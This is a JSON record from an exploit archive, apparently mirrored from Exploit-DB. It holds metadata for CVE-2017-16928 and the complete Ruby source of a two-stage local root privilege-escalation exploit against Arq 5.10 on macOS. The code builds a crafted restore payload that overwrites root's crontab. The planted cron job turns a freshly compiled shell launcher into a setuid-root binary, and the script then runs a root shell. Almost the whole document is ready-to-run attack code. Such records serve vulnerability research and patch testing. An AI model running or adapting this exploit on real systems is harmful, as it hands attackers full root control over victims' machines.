{"exploit":{"id":"EDB-43925","name":"Arq 5.10 - Local Privilege Escalation (LPE) (1)","description":"Arq 5.10 - Local Privilege Escalation (LPE) (1)","cves":["CVE-2017-16928"],"author":"Mark Wadham","published":"2018-01-29","platform":"macos","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43925","path":"exploits/macos/local/43925.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43925.rb","vulnerabilities":[{"id":"CVE-2017-16928","state":"PUBLISHED","title":null,"titleSource":null,"description":"The arq_updater binary in Arq 5.10 and earlier for Mac allows local users to write to arbitrary files and consequently gain root privileges via a crafted update URL, as demonstrated by file:///tmp/blah/Arq.zip.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-16928","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-16928"},"updatedAt":"2024-08-05T20:43:57.858Z","retrievedAt":"2026-11-27T06:09:12.585Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43925.png?v=2","url":"https://exploitbin.com/exploits/EDB-43925","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43925/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43925/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env ruby\n\n#################################################################\n###### Arq <= 5.10 local root privilege escalation exploit ######\n###### by m4rkw - https://m4.rkw.io/blog.html              ######\n#################################################################\n######                                                     ######\n###### Usage:                                              ######\n######                                                     ######\n###### ./arq_5.10.rb  # stage 1                            ######\n######                                                     ######\n###### (wait for next Arq backup run)                      ######\n######                                                     ######\n###### ./arq_5.10.rb  # stage 2                            ######\n######                                                     ######\n###### if you know the HMAC from a previous run:           ######\n######                                                     ######\n###### ./arq_5.10.rb stage2 <hmac>                         ######\n######                                                     ######\n#################################################################\n###### USE AT YOUR OWN RISK - THIS WILL OVERWRITE THE ROOT ######\n###### USER'S CRONTAB!                                     ######\n#################################################################\n\n$binary_target = \"/tmp/arq_510_exp\"\n\nclass Arq510PrivEsc\n  def initialize(args)\n    @payload_file = \".arq_510_exp_payload\"\n    @hmac_file = ENV[\"HOME\"] + \"/.arq_510_exp_hmac\"\n    @backup_file = ENV[\"HOME\"] + \"/\" + @payload_file\n\n    @target = shell(\"ls -1t ~/Library/Arq/Cache.noindex/ |head -n1\")\n    @bucket_uuid = shell(\"grep 'writing head blob key' \" +\n      \"~/Library/Logs/arqcommitter/* |tail -n1 |sed 's/^.*key //' |cut -d \" +\n      \"' ' -f4\")\n    @computer_uuid = shell(\"cat ~/Library/Arq/config/app_config.plist |grep \" +\n      \"-A1 #{@target} |tail -n1 |xargs |cut -d '>' -f2 |cut -d '<' -f1\")\n    @backup_endpoint = shell(\"cat ~/Library/Arq/config/targets/#{@target}.target \" +\n      \"|grep -A1 '>endpointDescription<' |tail -n1 |xargs |cut -d '>' -f2 \" +\n      \"| cut -d '<' -f1\")\n    @latest_backup_set = latest_backup_set\n\n    puts \"         target: #{@target}\"\n    puts \"    bucket uuid: #{@bucket_uuid}\"\n    puts \"  computer uuid: #{@computer_uuid}\"\n    puts \"backup endpoint: #{@backup_endpoint}\"\n    puts \"  latest backup: #{@latest_backup_set}\\n\\n\"\n\n    if args.length >0\n      method = args.shift\n      if respond_to? method\n        send method, *args\n      end\n    else\n      if File.exist? @hmac_file\n        method = :stage2\n      else\n        method = :stage1\n      end\n\n      send method\n    end\n  end\n\n  def shell(command)\n    `#{command}`.chomp\n  end\n\n  def latest_backup_set\n    shell(\"grep 'writing head blob' ~/Library/Logs/arqcommitter/* |tail -n1 \" +\n      \"|sed 's/.*key //' |cut -d ' ' -f1\")\n  end\n\n  def scan_hmac_list\n    packsets_path = shell(\"find ~/Library/Arq/ -type d -name packsets\")\n    hmac = {}\n\n    shell(\"strings #{packsets_path}/*-trees.db\").split(\"\\n\").each do |line|\n      if (m = line.match(/[0-9a-fA-F]+/)) and m[0].length == 40\n        if !hmac.include? m[0]\n          hmac[m[0]] = 1\n        end\n      end\n    end\n\n    hmac\n  end\n\n  def stage1\n    print \"building HMAC cache... \"\n\n    hmac = scan_hmac_list\n\n    File.open(@hmac_file, \"w\") do |f|\n      f.write(@latest_backup_set + \"\\n\" + hmac.keys.join(\"\\n\"))\n    end\n\n    puts \"done - stored at #{@hmac_file}\"\n\n    print \"dropping backup file... \"\n\n    File.open(@backup_file, \"w\") do |f|\n      f.write(\"* * * * * /usr/sbin/chown root:wheel #{$binary_target} &&\" +\n        \"/bin/chmod 4755 #{$binary_target}\\n\")\n    end\n\n    puts \"done\"\n    puts \"wait for the next backup run to complete and then run again\"\n  end\n\n  def stage2(target_hmac=nil)\n    if !target_hmac\n      if !File.exist? @hmac_file\n        raise \"hmac list not found.\"\n      end\n\n      print \"loading HMAC cache... \"\n\n      data = File.read(@hmac_file).split(\"\\n\")\n\n      puts \"done\"\n\n      initial_backup_set = data.shift\n\n      if initial_backup_set == @latest_backup_set\n        puts \"no new backup created yet\"\n        exit 1\n      end\n\n      hmac = {}\n      data.each do |h|\n        hmac[h] = 1\n      end\n\n      hmac_targets = []\n\n      print \"scanning for HMAC targets... \"\n\n      scan_hmac_list.keys.each do |h|\n        if !hmac[h]\n          hmac_targets.push h\n        end\n      end\n\n      puts \"done\"\n\n      if hmac_targets.length == 0\n        puts \"no HMAC targets, unable to continue.\"\n        exit 0\n      end\n\n      puts \"found #{hmac_targets.length} HMAC targets\"\n\n      hmac_targets.each do |hmac|\n        attempt_exploit(hmac)\n      end\n    else\n      attempt_exploit(target_hmac)\n    end\n  end\n\n  def build_payload(hmac)\n    d = \"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    e = \"\\x00\\x00\\x00\\x00\\x03\"\n\n    @overwrite_path = '/var/at/tabs/root'\n\n    plist = \"\n<plist version=\\\"1.0\\\">\n    <dict>\n        <key>Endpoint</key>\n        <string>#{@backup_endpoint}</string>\n        <key>BucketUUID</key>\n        <string>#{@bucket_uuid}</string>\n        <key>BucketName</key>\n        <string>/</string>\n        <key>ComputerUUID</key>\n        <string>#{@computer_uuid}</string>\n        <key>LocalPath</key>\n        <string>/</string>\n        <key>LocalMountPoint</key>\n        <string>/</string>\n        <key>StorageType</key>\n        <integer>1</integer>\n        <key>SkipDuringBackup</key>\n        <false></false>\n        <key>ExcludeItemsWithTimeMachineExcludeMetadataFlag</key>\n        <false></false>\n    </dict>\n</plist>\"\n\n    hex = plist.length.to_s(16).rjust(4,'0')\n    plist_size = (hex[0,2].to_i(16).chr + hex[2,2].to_i(16).chr)\n\n    pfl = @payload_file.length.chr\n    opl = @overwrite_path.length.chr\n    bel = @backup_endpoint.length.chr\n\n    payload = sprintf(\n      (\n        \"%s\\$%s%s%s%s\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x00\\x02\\xd0\\x96\\x82\\xef\\xd8\\x00\\x00\\x00\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x30\" +\n        \"\\x2e\\x30\\x30\\x30\\x30\\x30\\x30\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00%s%s%s\\x28%s\\x01\\x00\\x00\\x00%s\" +\n        \"\\x00\\x00\\x00%s%s%s\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x02%s\\x28%s\\x01\\x00\" +\n        \"\\x00\\x00%s\\x00\\x00\\x00%s%s%s\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xf5\\x00\\x00\" +\n        \"\\x00\\x00\\x00\\x00\\x00\\x14\\x00%s%s%s\\x00\\x00\\x00\\x03%s\\x0a\"\n      ).force_encoding('ASCII-8BIT'),\n        d, @target,\n        d, bel, @backup_endpoint,\n        plist_size, plist,\n        d, @latest_backup_set,\n        d, d, pfl, @payload_file,\n        d, hmac,\n        d, d, pfl, @payload_file,\n        d, opl, @overwrite_path,\n        e * 10\n      )\n\n    return payload\n  end\n\n  def attempt_exploit(hmac)\n    print \"trying HMAC: #{hmac} ... \"\n\n    File.open(\"/tmp/.arq_exp_510_payload\",\"w\") do |f|\n      f.write(build_payload(hmac))\n    end\n\n    output = shell(\"cat /tmp/.arq_exp_510_payload | \" +\n      \"/Applications/Arq.app/Contents/Resources/standardrestorer 2>/dev/null\")\n\n    File.delete(\"/tmp/.arq_exp_510_payload\")\n\n    if output.include?(\"Creating directory structure\") and !output.include?(\"failed\")\n      puts \"SUCCESS\"\n\n      print \"compiling shell invoker... \"\n\n      shellcode = \"#include <unistd.h>\\nint main()\\n{ setuid(0);setgid(0);\" +\n        \"execl(\\\"/bin/bash\\\",\\\"bash\\\",\\\"-c\\\",\\\"rm -f #{$binary_target};rm -f \" +\n        \"/var/at/tabs/root;/bin/bash\\\",\"+ \"NULL);return 0; }\"\n\n      IO.popen(\"gcc -xc -o #{$binary_target} -\", mode=\"r+\") do |io|\n        io.write(shellcode)\n        io.close\n      end\n\n      puts \"done\"\n\n      print \"waiting for root+s... \"\n\n      timeout = 61\n      i = 0\n      stop = false\n\n      while i < timeout\n        s = File.stat($binary_target)\n\n        if s.mode == 0104755 and s.uid == 0\n          puts \"\\n\"\n          exec($binary_target)\n        end\n\n        sleep 1\n        i += 1\n\n        if !stop\n          left = 60 - Time.now.strftime(\"%S\").to_i\n          left == 1 && stop = true\n\n          print \"#{left} \"\n        end\n      end\n\n      puts \"exploit failed\"\n      exit 0\n    else\n      puts \"FAIL\"\n    end\n  end\nend\n\nArq510PrivEsc.new(ARGV)","sha256":"23bd30957a9917d04f3797ea8268314a8e1f546d8eb5faca4475f27080925d91","bytes":8231,"fetchedAt":"2026-11-27T06:09:10.717Z","encoding":"utf-8 (display only; download retains original bytes)"}